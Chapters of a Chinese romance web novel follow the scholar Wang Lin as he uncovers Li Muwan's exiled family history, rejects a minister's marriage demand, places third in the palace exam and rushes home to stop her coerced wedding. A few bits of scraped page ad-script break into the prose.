“见自然是没见过,不过人人都称道的自是不会差,且不说见没见过,光听名字,也能想象的出来,那气质样貌出众脱俗,风姿卓越。” 王林摇摇头甚无兴致,忽听程贤闭眼沉浸其中,念着名字,“有美一人,清扬婉兮,李慕婉,婉约如水……” 熟悉的名字贯穿而过,王林掌心顷刻间收紧,“你说什么?” “婉,婉约如水啊……”见他神色阴戾,程贤着实吓了一跳,“王兄这是怎么了?” 王林方觉自己过于失态,平静须臾后,再次确认:“李慕婉?” “没错,李慕婉,曾是名动京城的人物,虽家中后来未入朝为官,名声却不比官家子女的低,其兄李奇庆也是。” “只是可惜了……” “可惜什么?” “我到京城半年前,李家就没落了,”程贤压低了声音,“听闻是卷入了朝中一桩案子,牵连了,李家家道中落后,这兄妹二人被赶出京城,还是当今陛下的圣意,无召此后都不得踏入京城,多少人为之可惜。” 京城曾有传闻,一些世家子弟为寻出京的这李慕婉,不惜暗派探子,后来有传言回京,兄妹二人落入天麓山匪徒,已命绝身亡,京城才恢复平静。 王林那些猜测和疑虑,与在程贤口中所言对比,一切迷障都好似有了明路。 难怪,难怪她熟读策论,饱腹经纶,张弛有度,聪敏端庄。 百松书院,医药世家,从李慕婉在王家小院居住陪习这段时日,王林早就有所察觉,只是不知,她的身世竟然是这样的。 世家公子画舫之上诗文对弈,玩法多样,王林都无心于此。 恍惚间脑中浮现那夜李慕婉怀着醉意,呢喃不清的话,原来她那般伤心,是因为自己考取功名后若留京赴任,而她因身世不能入京,这才心灰意冷的? 台上对弈火热,又换了玩法,李秋池出上联,锦团由书童丢出,丢到谁手中,便由谁对下联。 王林沉浸在思考中,可李家到底是因何卷入案件,又是什么案件?程贤也说不明白。一阵风而过,李慕婉绣的发带被风搅起,锦团落在他手里。 台上台下的人目光齐齐投过来,王林没在意,只是想离开这里,程贤却拉住了他。 “王兄,你怎么走了?”程贤指着台上,台上的人李秋池,周紫虹等人望过来。 少年郎秀眉俊目,温润如雅,气宇轩昂,身姿挺拔,只是身上覆了一层疏离凉薄,叫人望而却步。 “这位公子,请留步。”李秋池上前两步,凝视着王林,欠身道。 “何事?”王林声音骇然,目光森冷。 “公子既然上了画舫,想必也是来对弈诗文的,你接了锦团,那这下联自是要作出来。”李秋池道。 “走错了。”他本无心于此,偏就不上套,随手理所当然将锦团扔了出去,压根不在意落到哪位学子手里。 那颀长身姿隐没在人群里,李秋池生平被人如此无视,众目睽睽之下,面子荡然无存,习惯了众星捧月的她,往后的漫长岁月里,那抹身影会如骨血刻在她心里,经久不去。 30.身世 孙凌武订的那批药材,李奇庆按约定交付,孙镇伟替父亲来验收药材,正准备离去时。 李慕婉从后院出来,手里捧着医书,视线没移动,就喊着李奇庆:“哥,咱们铺子还有丁香吗,这清心丹还差一味药。” 交谈的二人寻声望去,孙镇伟瞧见她,素衣裹身衬得柔婉轻灵,容姿清婉,头上系了根蓝白刺绣莲花纹的发带飘动,那支莲花簪子插在发髻上,她笑靥浅浅。 孙镇伟看得痴愣,李奇庆将单子塞过去,“孙公子,这药材都齐了,多谢帮衬。” 李慕婉闻声这才抬头,快速瞧了一眼,正要退回去,“有客人啊?” “丁香在左二柜子第三排第四个抽屉,你自己找找。”李奇庆道。 “姑娘竟是李掌柜的小妹?”孙镇伟视线一直落在她身上。 “孙公子认得舍妹?” 孙振伟想起去岁镇子上打铁花的人流里,见过的那一位佳人,以为是长乐县里哪家小姐,还派人特意去寻过终是无果,不曾想寻的人竟然就在清平镇。 李慕婉也愣了须臾,“我不记得见过你。” “姑娘忘记了,”孙镇伟手里掂着折扇,“去年镇上打铁花,有幸见过一面,姑娘的荷包掉了……” 李慕婉回想着,有了些许记忆,“是你。” “李姑娘上次给家父送的清心丹,家父用过后效果不错,竟然不成想姑娘小小年纪,丹道却如此精湛,着实可敬。”孙镇伟话语亲近。 李慕婉无心交涉,面上却表现得体,“都是兄长教导得好,若公子也感兴致,可与家兄请教,倘若公子身边有需要这丹药的,也可介绍过来我们铺子。” “我炉子里还烧着火,就不打搅公子与兄长谈话了,告辞。” “孙公子勿怪,小妹痴迷丹道,平日研制丹药时不喜他人打搅,若是清心丹觉着不错,我让小妹多制几瓶送到府上去。” “有劳李掌柜。”孙镇伟抱拳后离去。 人走后李奇庆又拿了几味药到后院炼药房里,李慕婉擦着小脸,炉火烤得面颊通红。 “婉儿,这清心丹近日来问的人多,你得空多炼些,要什么药材哥哥给你补给。” “成,给哥哥炼,不过得让我炼好这一炉安神香后再给你安排,可好?”李慕婉撒娇说。 “好好好,你的王叔周婶阿兄都比我这个哥哥重要,他们的事第一紧要,哥哥第二紧要,可对?”李奇庆揶揄她,李慕婉被说得不好意思,推着他往外走。 “哥,你好吵,莫要扰我炼丹。” 孙镇伟今日见了李慕婉,又派人去打听了才知道李慕婉原本并非长乐县之人,而是王家村一处人家从天麓山带回来的。 这一年来李奇庆打通了清平镇到燕州的药材商路,就连京城也有所涉及,只不过碍着从前的身份,与京城的药商并未直接以他的身份交易。 孙家在清平镇乃至长乐县都可谓路路亨通,近些年来四大家族想要与外涉其他州郡建立药材商路。若与李奇庆深交,或许能因此利用其关系,达成目的。 加之他对李慕婉有意,其炼丹之道,往后也可为孙家生意帮持,孙镇伟之后去过几次铺子,每次都要寻问李慕婉是否在内,李奇庆是个坦率之人,他的心思一眼便能瞧出。 “孙公子来不是为着与我讨教丹道的吧?可是想寻小妹?” 孙镇伟笑笑,开诚布公道:“李兄果然心如明镜,实不相瞒,在下思慕婉儿姑娘已久,自去岁见过婉儿姑娘一面,便念念不忘,孙家有意与李家联姻,不知李兄之意?” 李奇庆风轻云淡,似早有准备,“我虽为婉儿兄长,可婚姻之事,也得她欣喜才是。” “明白,”孙镇伟不疾不徐,“不知能否见她一面。” “婉儿今日出去了。”李奇庆颔首。 “那烦请李兄替在下转述心意。”孙镇伟抱拳。 李奇庆独自坐在铺子里,面对孙镇伟的提亲之意,虽未应下,但总觉并非好应付搪塞。 李慕婉去了王家村送安神香,清平镇昨夜下过雪,路不好走,小院铺了一层白,白梅生得好,她又替王父王母写了信,回的时候折了几支白梅。 晚饭间李慕婉察觉兄长欲言又止,哥哥不是优柔寡断的性子,她直觉是出了什么事,试探道:“哥哥今日见什么人了?” “隔三差五就从王家带点花草回来,家里都快放不下你的东西了。”李奇庆瞟她一眼,“再有两月便开考了,听闻今年春闱比上一次还多人,竞争之大,京城各处都是入京赶考的学子,就是不知你阿兄能不能在会试脱颖而出。” “哥哥若无他话,倒也不必无话找话。”李慕婉知道他又想提点什么,她应允过,只是替他照顾父母,若他考上了,谋了官职,不该想的她都不会想。大不了放下,人总要走自己的路,她也不会因他而迷失原本自己要走的路。 李奇庆不知他这小妹早已活得清醒透彻,才不是闺中娇养得不堪摧残的花朵。 “你长大了,有自己的心思,也不要哥哥替你做主,”李奇庆给她碗里夹了块肉,“确有一事要转述于你,今日孙镇伟前来拜访,与我谈了一事。” “可是燕州商路之事?”李慕婉盯着他。 “非也,是与你的婚事。”李奇庆没动,观察她的反应。 李慕婉蹙眉,搁下筷子,“我为何要与他谈婚事?” “我家小妹才貌双全,到哪都少不了倾心之人,从前京城便是如此,哥哥替你挡了多少?若要在清平镇安身立命,孙家确实是不错的选择,只是孙镇伟此人,能否托付,哥还没有把握。” “哥拒了就是,我与他绝无可能。”李慕婉决绝道,她对此人印象连友人的亲切都算不上。 镇子上房屋租赁由孙家掌官,这几年朝廷赋税长了,孙家为提高利润而哄抬租金。致使清平镇商户经营比之前都要困难,这事先前她托王浩找院子时便已知晓孙家为人,李慕婉有防备和警惕心,断不可能与孙家议亲。 *** 永正十年,三月中旬,春闱的三场考试均已结束。王林又收到清平镇寄来的家书,客栈的书架上堆了厚厚一叠。 每次李慕婉替二老执笔写完信,便也会带上自己要与他说的话。里边一大半都是李慕婉的信,程贤每每来借书,王林都不让他碰那个书架。 会试结束,等待放榜的学子滞留京城,春日宜游园赋诗。学子的担子卸了,也没有每日紧闭房门温习,程贤拉着王林赴诗会,那日上元节他在众目睽睽之下拒了李秋池的对诗,不免让人多看了几眼。 他本非附庸风雅之人,耐不住程贤的软磨硬泡,最终应约去了游园诗会。 人大多都还是先前上元节灯会的人,只是组织的人这一次并非李秋池,而是有文人雅士聚集而成。 杏花映着春水迢迢,文人墨客风流蕴藉,流风回雪,三五成群,酌酒赏花,对弈诗文。 王林与程贤穿在人群中,时不时有人拉着二人一同对弈,程贤热情,与之打成一团,王林金口难开,只是倾听着,隐蔽才华。 李秋池与好友同行也到了诗会,此等附庸风雅之宴怎少得了她这个“京城才女”。似乎要将从前被李慕婉夺走的风头,尽数揽在自己身上,那是经年久月后留在她心中的较量。 才子瞧见人便附庸而上,众星捧月的滋味委实让人沉醉,她享受此等唾手可得的垂涎与欣赏。 只是人群中,她捕捉到一个身影,是那夜上元节,众目睽睽下无视她这京城才女的孤高少年。李秋池离开人群,朝那抹背影走去,嘈杂声里她隔空唤道:“这位公子,请留步。” 见人没有反应,她加快了步子,越过他时人影闯入视线,拦下他去路,“公子留步。” 王林顿足,对这唐突略显不适,神情冷漠道:“何事?” “公子不认得我了?”李秋池欠身行礼,“那日上元灯节,画舫,你接了我的锦团。” “有事吗?”王林想起来了,直白问,并不想多留,提步子就要走。 “公子可是赶时间?”李秋池跟着与之并排,“我瞧公子来诗会却不与人对诗,倒是稀奇。” “若无他事,告辞。”王林冷漠道。 “公子也是今年春闱的学子吧,不知公子叫什么?”面对王林的疏离,李秋池的兴致和好奇越重。 “你我萍水相逢,一面之缘,在下姓名,不足以挂齿。”王林抱拳,加快了步子,从几个交谈的雅士中穿过。李秋池再想追上去,那几人瞧见她便蜂拥而上,挡下去路。 “李小姐?小生仰慕李小姐才华已久,不知可否赏脸对上一句?” “是啊是啊。” 李秋池走不开,程贤隔着人群喊了他,“王林,这儿。” 王林寻声而去,李秋池心底默念:王林,这是他的名字? 程贤还有一局诗会要对,见王林无心参与,便叫他寻个清净地等等自己,王林独身饶到远处花林里。 京城海棠花长势好,他思绪回了竹林小院,脑子浮过李慕婉立在海棠树下打理花枝的场景。 已经分别一年,也不知她如今在做什么? “公子腰间的荷包,不知是哪来的?”一道清幽音色缓缓传来。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“谁?”王林警觉,冷漠代替了适才的温柔。 来人是周紫虹,早在他与李秋池交谈时,她便瞧见他腰间荷包的刺绣,这针法她再熟悉不过,故而寻过来想问清楚。 “小女子周紫虹,家父乃当今太傅,唐突前来,公子见谅。”周紫虹道明身份。 见王林有所放松,她思量默了须臾,盯着他腰间的荷包,细细打量着。王林察觉她视线目的明确,适才又问了荷包,思及程贤所说李慕婉京城之事,或许她认得这个荷包的主人? “这荷包有何问题?”王林掌心覆上,试探道。 “公子的荷包哪来的?” 王林沉稳,未摸清对方来意前,他不会轻易说话。 周紫虹见他防备心重,幽幽侧身诉说着:“公子这荷包上所绣的针法与小女子一位旧识手艺极为相似,两年前她离京后便杳无音信,今日见着公子所系之物,睹物思人,这才冒犯了。” 王林指尖摩挲着荷包上的莲花纹路,“不知姑娘旧友叫什么?” 周紫虹低头,从腰封扯下一个粉白的莲花荷包,抚着上边的花瓣,递过去:“她是我闺中好友,我二人自小相识,情同姐妹,这是她离京前所赠之物。” 她已确定王林身上那个荷包就是李慕婉绣的,为了卸下他防备,不得已把自己的荷包递给他,证明自己没有撒谎。 见王林眉间松动,她乘胜追击,问:“婉儿她,还好吗?” 王林听着这个名字,看见周紫虹眼里的担忧,又对比两个荷包上的针法,加之程贤所说之事,两相对比,琢磨之后,他道:“她很好。” 周紫虹听见答案后双眼微闭,好似终于了却一桩心事。 “多谢公子相告。”周紫虹深深颔首,眼神满是感激之意。 见她没有再往下多问的意思,王林将她的荷包递回去。 “此等针法名为顾绣,所绣绣品精工细致,价值非常,婉儿从不轻易展露。她既能为你绣这荷包,想必是把你当做重要之人,不知公子与她是何关系?”周紫虹探道,“听闻她离京后在天麓山遇了劫匪,之后便杳无音信了。” “我救过她性命。”王林简而言之,“她唤我阿兄,我爹娘见她可怜便收留了她。” “敢问公子家住何处?”周紫虹再难隐忍。 “王某乃长乐县人士。”王林道,“她与兄长开了一间药铺,经营药商,日子过得舒心。” 周紫虹暗自思忖,“公子既然能收留她,想必不知她因何离京,你在京城考试,若中了功名,往后多多少少都能听见她的事,小女子有一事相求。” “若公子答应,往后公子在京城若有所求,定当竭尽所能。” “何事?” “不要将婉儿的行迹,还有在世的消息道出。”周紫虹警惕周围,声音压低说。 “为何?” “王公子有所不知,婉儿乃前朝李院判之孙,三年前因卷入一宗案卷,家道中落。” 周紫虹迈着小步,往事一幕幕,“当时这案子在京城闹得大,原先与李家交好的官员世家避之不及,唯恐引火上身,是李世伯拿出当年先帝所赐之物,才得以保全婉儿和奇庆兄妹二人的性命,只是死罪可免活罪难逃。皇帝受人蛊惑,下令将李家兄妹逐出京城。” “何人蛊惑?”这些与程贤所说差不离,只是个中细节谁也说不清,或许只有当年经手案卷之人才能查得详细。 周紫虹定睛瞧他,“不知,京城世家阀门势力盘根错节,李家乃皇商药商,经手利益无数。个中原因我一闺阁女子也不知晓,但是若公子所问何人蛊惑,恐怕牵一发而动全身。” 王林若有似无的点头,他一山林书生,未经世事,自是无法插手。 “既然皇帝赦免婉儿和李兄罪名,那她在世消息为何不能道。” “这世上多的是妒贤嫉能之人,婉儿才貌双全,又艳冠京城。多少才俊心驰神往,等着她离京的不在少数,不止男子,也有女子。”周紫虹点到为止。 王林心思缜密,很快就能意会周紫虹的言外之意。 “适才我瞧李秋池对公子颇有好感,若公子信得过我,还是远离她为妙。”时日不早,周紫虹离开已有多时,便行礼辞行。 王林回的路上都在推想,李慕婉在世的消息不能为人所知,应是不能为京城所知。 一来世家怕族亲子弟为红颜祸水,进而赶尽杀绝。二来周紫虹说想她离开京城的不止男子,那么女子,因嫉妒之心而不能留吗? 若是如此,那他考了功名留在京城为官,李慕婉便不能一同随王家入京了…… 31.高中 礼部尚书府,李秋池从诗会回来便一直闷闷不乐,忽而她想到一处,或许能够问问父亲。 李元朗近日都在督察科考试卷批阅进度,回府已是深夜。李秋池在书房外久等,目的就是想在父亲那探探此人,王林的考卷在考官面前得了脸,李秋池提起这名字的时候,李元朗也是意外。 他疼爱这个独女,自小便失去了母亲,凡是她想要的,李元朗都会倾其所有,她要苦习琴艺,李元朗便请京城琴师大家入府教习,只因李慕婉琴艺卓绝如高山流水。她要苦练书法,李元朗便请书法先生指导,只因百松书院里,先生夸过李慕婉书法笔精墨妙…… 当得知女儿有意此人,李元朗便心生决策。 隔了月余,放榜之日在即。 永正十年,四月十五,卯时一刻,礼部贡院外墙帖榜公示,学子们早早等候,天未亮,程贤便敲了王林的门,正在穿靴的王林应着门外:“来了。” 他扶正额带,又检查了腰间的荷包才开门出去。 榜前人头攒动,委实是难挤进去,程贤拼了老命勉强挤出一条小道。他巡视了一圈,率先看见王林的名字列在第一列,激动得他不知攥了谁的手,“王兄,你你你,你考上了。” 王林只是淡淡一笑,似乎早已有所预料,在这一刻,他是松快的。父母多年期许,得偿所愿。只是那么一瞬,心中闪过一丝愁容,他视线落在榜单上,他的名字格外显眼。 “你也考上了。”王林眸子瞧见程贤的名字,在最后几排。 正当程贤沉浸在喜悦中时,不少富绅拥挤上前,将雀跃的学子拉过,连同王林和好些中举的学子都被人拉扯着。 人群里乱做一团,只听那些人口中念叨:“这郎君气度非凡,貌比潘安,不如做我家女婿,我家中田产千亩,家产万贯……” 还有更甚的,近乎抢起人,王林等人被拉扯得没脾气。 沸腾中两列府兵散开,冲散人群,开了一条道。榜下捉婿的人见势让出条道,程贤受宠若惊正了一襟,王林摸索着腰间的荷包,生怕挤掉了。 只听那为首的领将高呼:“谁是王林?” 王林与程贤相视一眼,而后挺胸昂首,上前一步道:“我是王林,何事?” 那领将恭敬垂首,“王公子,我家大人有请,还请公子走一趟。” “你家大人是哪位?”王林从容不迫。 “礼部尚书李元朗。” “烦请带路。”王林自知,既然兴师动众派人前来,便是没有推脱可言,还不如先探探虚实再做打算。 李家前厅,李元朗似早已等候多时。 “大人,王公子已到。”随从禀报后让王林独身进内。 他巡视过四周,李元朗背对着自己,他看不清样貌,拱手作揖:“小生王林,参见李尚书。” 李元朗缓缓转身,只见少年长身玉立,果然气质不凡,难怪女儿念念不忘。 “你就是王林。” “正是,不知尚书大人请小生入府是何差遣?”他开门见山道。 这性子,李元朗倒是觉得有趣,“你既然不知本官意图,为何敢只身前来啊,倒是有胆识。” “尚书大人见笑,您出动府兵大费周章的,怕是没有小生商量的余地。” “你倒是心思缜密。”李元朗抬手示意他落坐,王林却之不恭,只是桌上那盏茶水他没碰。 “本官看过你那篇文章,字字珠玑,酣畅淋漓,层次清晰,一针见血,在会试中脱颖而出。几位阅卷考官都夸此子乃人中龙凤,将来必能在我朝有所用。”李元朗观察他的反应,。 王林却镇定淡然,谦逊道:“尚书大人抬爱,高赞了。” “并非高赞,老夫求贤若渴,陛下重用寒门,多年未见如此出类拔萃的寒门学子,不知你可愿成为老夫门生?” 王林未答,只觉他并不止意在此处,见他果然沉得住气,李元朗放声大笑,很是满意,“小女果然眼光独到,近日小女在诗会见过你,与本官提到一二,今日一见,果不其然。” “是以,尚书大人今日请小生不只是想要收作门生这么简单,在下说得可对?” 李元朗瞧他是聪明人,也不绕弯子了,开门见山说:“小女心仪于你,你又是此次会试第一名,当得本官女婿。若有本官为你引荐,殿试前三不是问题,往后升官拜相,更是指日可待。” 原是要他做李家女婿,王林拱手道:“谢尚书大人抬举,小生不才,不敢与令爱相配。” “怎么?是看不上我礼部尚书的官职,还是看不上小女?”李元朗神色稍变,却还算是和善。 “并非如此,王某家中有妻待我,王某上京赶考,她于家中替我照顾双亲。今我考得功名,又怎可有负于她,大人还是另择他人吧。” 李元朗查过他的户籍,并未有妻室,只当他是为了搪塞而胡编乱造之由,“本官在选定你之时,便看过你的户籍,你家中只有双亲,何来妻子?” “尚书大人,她虽还未入小生族谱,可我二人心意相通,只等考了功名,回去与她家中长辈提亲。我王林不是陈世美,小生心里也断不可能有第二人,令爱还是另择他人吧。”王林起身,“小生告辞。” 王林出了李府,李元朗神色突变,他唐唐赵国重臣,屈身嫁女已是给足颜面,奈何他如此不知好歹。 二人没有私定终身,也从未直白表明过心意,可即便不说,李慕婉那些家书还有用心操持家务,都足以表明她的心意。 王林心里清楚,而他在离开王家村前往京城后,在她一封封家书里,更是看透自己的心意。 他承诺过她会回去的,就一定不会食言。 *** 正在药铺炼制丹药的李慕婉打了个喷嚏,李奇庆进来送药,关切道:“婉儿,这几日你没日没夜制药,该是好好歇一歇。” “无妨,哥,如今已是四月中旬,会试是不是要放榜了?”李慕婉接过他手里的茶水。 “按照以往的时间推断,应是已经放了。”李奇庆见她乐在其中,也不知该作何宽慰。 待出了药房,他坐于柜台前,写下一封寄往京城的信,随即出了药铺。 李秋池得知王林拒了父亲提亲之意,心里苦闷,表面上宽慰父亲无事,可却终日闷闷不乐,李元朗看在眼里,不忍她为情所困。 因着会试公示后,还要等一个月才能进行殿试,落榜的考生已经回乡,留下的都是中举的,程贤也在内。 当他得知李家请王林做客是因为想要促成婚事,王林却拒绝了,程贤大为震惊。 他又收到了李慕婉寄来的家书,信中她又与他诉说琐事,王林从那信中字迹里仿若又回到了王家村。 骨骼分明的长指抚过每一个字时,都眷恋无比,似乎信纸上都留有她身上的气息。 “已经分别一年,知你很好,我心足矣。”他将信纸捂在心口,闭上眼都是那张日思夜想的轮廓。 月后举行殿试中,王林得中探花,李元朗早在这之前便已经多番在御前提及王林,还有意提出要将其纳为门生,做李家女婿。 皇帝惜才,更惜寒门,李元朗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 便是寒门出身,以一举之力坐稳朝堂,只是皇帝未能一口应下。 殿试中王林未能全力以赴,而是有所收敛,皇帝只当李元朗之词过于夸张,对王林略有失望,以他才貌,得个探花,理所应当。若他没有藏拙,状元定是不在话下。 李元朗为女解情困,在朝中动用人脉,将王林留在翰林院,短期内不得回乡。 王林的家书寄回王家村,王天水和周英素得知儿子高中探花,声泪俱下,多年的心愿得以实现,只是这归期未定,相隔千里,难免牵挂。 李慕婉从王家村回来便一直坐在药铺后院,碧落无云,可她却好似被乌云笼罩,李奇庆寄去京城的信也有了回音。 他拖了张靠背竹椅,坐到李慕婉跟前,抬手抚过她的碎发,长兄如父,这些年来他一直把妹妹照顾的很好。 “婉儿,想什么呢?” 李慕婉抬起头,视线落在李奇庆身上,望着哥哥那柔情的目光,愈发难受。 “王林,高中探花,”李奇庆说,“此次殿试,他高中状元不是问题。” “哥哥为何这么说?”李慕婉专心道。 李奇庆在京城还有旧友,能让他通信之人必然是过命的生死之交,他道:“听闻王林在京城会试中文章出类拔萃,不少官员想要收其为门生,为己所用。” “那阿兄指定不愿,他不会是趋炎附势之人。”李慕婉坚定道。 “正因如此,礼部尚书李元朗,有意将其女李秋池许配王林。” “什么?”李慕婉震惊。 “王林不愿,之所以他被派遣到翰林院不得回乡,与此事脱不了关系。”李奇庆表明其处境。 “李元朗疼爱其女,京城人尽皆知,若李秋池属意王林,李元朗使尽手段也会促成此事,依婉儿所见,以他一己之力能抵抗李家多年建立的势力吗?” “阿兄……”李慕婉面泛担忧。 “李元朗多番向皇帝请旨赐婚,这旨意未下,是因不止李家一家有此想法,皇帝也在考量。倘若因王林一人而将朝局打乱,皇帝能容下他吗?”李奇庆分析局势,面面俱到,“且不说这个,若皇帝当真赐婚了他与李秋池,王林若对你心有不舍,抗旨不遵,这后果他可能承受?” “若陛下下了赐婚旨意,他不接,那就是抗旨,若他接,自然能迎刃而解,怕只怕他对婉儿你,也难以割舍。”李奇庆起身叹了一声,“哥哥先前不愿你与之陷入太深,就在于此。” “王林拒了李元朗提亲之意,你可知用的何缘由?” 李慕婉摇摇头,心思涌重,“什么缘由?” “他所定终身之人,是那替她照顾双亲的女子,”李奇庆俯视着她,“婉儿,若李元朗一意孤行,寻到清平镇,断他念想不是不可能。” 李慕婉宛若只心记那一句,浅浅笑着,“他所定终身之人,是指的我……” “哥哥今日所说,婉儿明白,”李慕婉像下定某种决心,擦去眼泪,“有阿兄这句话,婉儿心足。” 要她放弃王林,她自有不舍,可她也不愿耽误他的前程,王叔周婶收到高中的信后那么高兴,她又怎可为了一己之私,成为他的累赘。 但若王林认定之事,自己退却,想必他也不会就此甘心,若叫他断了念想,也唯有一法。 王林在翰林院任职,去的家书隔了两个月才有回信。只是这一次的家书,只有爹娘的信,没有李慕婉的信。 之后接连收了几次,再无李慕婉回音,而爹娘的家书里,他读到一条肝肠寸断的信息。 李慕婉要成婚了! 32.回乡 月前,李奇庆与孙家那批药材要运输到长乐县守备军军营的药材却出了披露,军营那边对药材存疑,只道是药铺以次充好。 这笔生意是孙镇伟介绍给李奇庆的,李奇庆与孙家也有药材生意往来。 孙镇伟只拿部分抽成,并为李奇庆牵通水路,由清平镇四大家族之一曹氏水运负责运输这批药材。 只是到了军营后,原本李家药铺出去的药材被偷梁换柱,而这孙家仓库那批要销毁的次品药材却到了军营后方。 李奇庆因此受了牵连,为调查原因,李奇庆被困县衙牢狱,只道是未查清缘由,便要查封药铺。 孙家倚仗雄厚家底和长乐县长期积攒下的人脉,与李慕婉商谈条件,只若她答应与孙家联姻,孙家允诺救出李奇庆。 李慕婉犹记得三年前,京城府邸,家父也因涉事药材案件,李家查抄,一夜之间亲人陨落。她再无法接受唯一的亲缘血脉丧命,情急之下,她思虑再三应了孙镇伟的条件。 与孙家联姻,一来可以救哥哥于水火,二来也可与京城那人断了念想,再无瓜葛。 孙镇伟乘人之危,让李慕婉无路可走,最后只能投靠孙家。 婚期定在两月后,李家药铺被查封后,孙镇伟把李慕婉接到别苑居住,寻了府卫监视。 李慕婉要他带自己去县衙大牢看一眼哥哥,要确保他安然无恙才会答应大婚。 在翰林院的王林无法脱身,书案前的他把那封信揉碎了,眼尾腥红泛着杀意,书架倒了一地,唯独那一叠家书完好无损。 周紫虹说过,若在京都遭遇困境,可到太傅府邸寻她,他望着衣架上李慕婉临行前为自己缝制的那件大氅,想到了一个物件。 锦囊! “若阿兄在京城遇事难以脱身,可打开此锦囊,望能助阿兄脱困。” 王林从包袱里翻出,默了半晌,解开锦囊,锦囊里有一张信纸,还有一方小块方形金牌,中心刻着“免”字极为刺眼,只是上面看着有些年岁了。 王林瞪大双眼,呢喃了句:“免死金牌?” 李慕婉手中何来此物?若是李家有免死金牌,当初李家遭遇祸事,为何不用?他想不通! 太傅府内,周紫虹在庭院里看书,下人传来口信,王林于今日酉时约见,周紫虹应约去了王林所住的客栈。 “王学士。”周紫虹朝他行礼,王林抬手请她进来。 周紫虹知道,他若寻自己定然事关李慕婉。 王林也没藏着掖着,他只是想摸清这块免死金牌的来处。 “不知王学士寻我来,有何要事?” “周姑娘可知李家曾经有获得过免死金牌?”王林选择信周紫虹,而今他也没有可选之人。 周紫虹回想,是听父亲提过,皇帝为追功老臣,曾赐过李家一个免死金牌,只是此金牌在李慕婉父母卷入案件时都无用上用途,想必李家所得的免死金牌并非是免一切罪责。 在赵国,免死金牌分好几种,并非所有的金牌都能够逃过一死。 “听家父说过,确有一事。” “这免死金牌在王学士手中?”周紫虹也机敏,从王林的神色和今日行事中察觉出信息。 王林没承认也没否认,就定着等她继续开口。 “我能否看一眼这个免死金牌?”周紫虹提出诉求。 王林思虑须臾,递了过去。 “这是……”周紫虹细看后交回给他,“婉儿给你的?” 王林点头,眉心里像是蕴藏了难以言喻的苦涩:“正是。” 周紫虹心底讶异,李慕婉既然将此等重要之物交出,想必王林与她之间已是关系匪浅。 “我能问一句,婉儿给你这金牌可是因为报恩?” 王林正视她,并未否认什么,直言道:“我与婉儿两厢情愿。” 那身影落在窗台下,声音泛伤,“可是,不知为何,她要成婚了,而那人她从前从未见过,两月前突然与我断了书信,她定然是遇到麻烦了……” 周紫虹所接受的信息过于重大,一时间无法缓神。 “她答应过要等我考取功名回去的,”王林望着远处京城林立的店铺和繁荣的街景,“原是她早已知晓我此去京城,便再难回乡,是以那晚……” 沉思后他才发觉自己心绪飘远,回想起那晚为他践行,李慕婉的吻别,清醒后他又言归正传,“我不知道婉儿为何要嫁他人,我要回乡,去找她。可是此刻我身不由己,若无圣上允许,我定然无法离京。” 周紫虹不明白,这与他手中的免死金牌有何关系。 “我朝免死金牌的特权不一,父亲说过,先帝所赐金牌不能用于当朝律法,此金牌虽为当今圣上所赐,却不能免一切罪责,不若当初李世伯和伯母也不会牵累丧命。”周紫虹凭借记忆思索着,“这金牌上未刻有所赐之人姓名,官爵,邑地,应是谋逆之罪不可免,至于具体的,也要看是何等罪名。” “倘若辞官回乡呢?”王林道。 “辞官回乡只若理由能服人,朝廷自然不会不放。”周紫虹觉着若只是如此,他便不会棘手了。 “王学士可是还有别的顾虑?” “李元朗想要我娶其女,并非王某桀骜自大,只是我若辞官回乡,必须功成身退,在京城不能留下任何把柄,以免将灾祸带给至亲至爱之人。” “持此金牌能否与皇上提一个条件?”他将心中疑虑道出,他必须有十足把握才能做。 周紫虹不确定,“即便能,这金牌皇上若是问起从何而来,你该如何应付?” “我自有对策。” “罢了,我向家父打听一二,”周紫虹心道,“你既是为了婉儿,此事我也该出份力。” 之后周紫虹暗中打听了,这免死金牌如她猜测,只能免责小过,至于能不能换一个与皇帝交换的条件,还得要皇帝开口才是。周太傅曾是帝师,皇帝为东宫时,乃是他所教授,皇帝听得忠言,周太傅能有几分把握。 经周太傅从中周旋助力,永正十年秋,王林顺利辞官归乡,还拿了一道圣旨,这便是他用那金牌所换之物。 婚期定在三月后,他快马加鞭,能赶回去。 过了平洲,就到长乐县了,王林连夜赶路,马匹体力不支,他只得在客栈落脚借住。 只是睡到半夜子时,隔壁厢房似有打斗之声,他连着几日几夜未眠未休,本是睡得沉,那刀光划破隔板,刺过眼帘,王林掀起眸,听闻打斗声,霎时醒神。 只见一中年男子,被几个黑衣人持刀相向,刀刀刺过要害,他本不想多事,奈何那黑衣人手中利器飞过,钉在王林身后的木墙上。 他已窥见,即便不动手也要被灭口,他抬手拔出身后利箭,朝那正要刺向中年男子的黑衣人飞过,利箭擦过那人脖颈,他手中的长剑落地,直直插入木板,立在中年男子跟前,他抖着双腿,额间冒着豆大汗珠。 眼见王林再次挥刀,又将剩余几人一并解决,他出手之快,毫无犹豫之念,就宛若当年在天麓山杀匪一样。 那中年男子看见横倒一片的尸体,此时的王林眼中还渗着杀意无法收回,叫那中年男子心惊胆颤。 却见王林收了刀,淡定走回床榻,收起包袱就要离去。 “少侠留步。”中年男子上前留人,“多谢少侠相救……” 王林淡淡道:“若想活命,此刻你该连夜离开此地。” 若是继续留下,焉知这些人还会不会继续增派援手,王林适才出手已是迫不得已,万不会再与他同行,免得招来祸患,况且,他有要事,不能耽搁。 那人见他书生装扮,跟上去试探 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道:“不知少侠可是京城回乡的学子?” 王林愕然,此人观察的细,一眼便能断出他的身份,可他仍是没表露过多情绪。 “你杀了他们的人,便是与我绑在一块了,若他们寻来,你定也逃不掉。” 他知道那帮人的目标是自己,见不到尸体便不会善罢甘休,是以跟着王林还能有活路。 王林猜到他心中盘算,冷硬道:“你若觉着跟着我能躲过追杀,怎知我不会因自保而杀了你?” “少侠是京城回乡学子,又身怀武艺,果敢刚毅,老夫斗胆有事相求。” “我为何要帮你?”王林顿足。 “我乃京城委派到地方的巡查使杨云山,从平州到下个目的便是景宁县。” 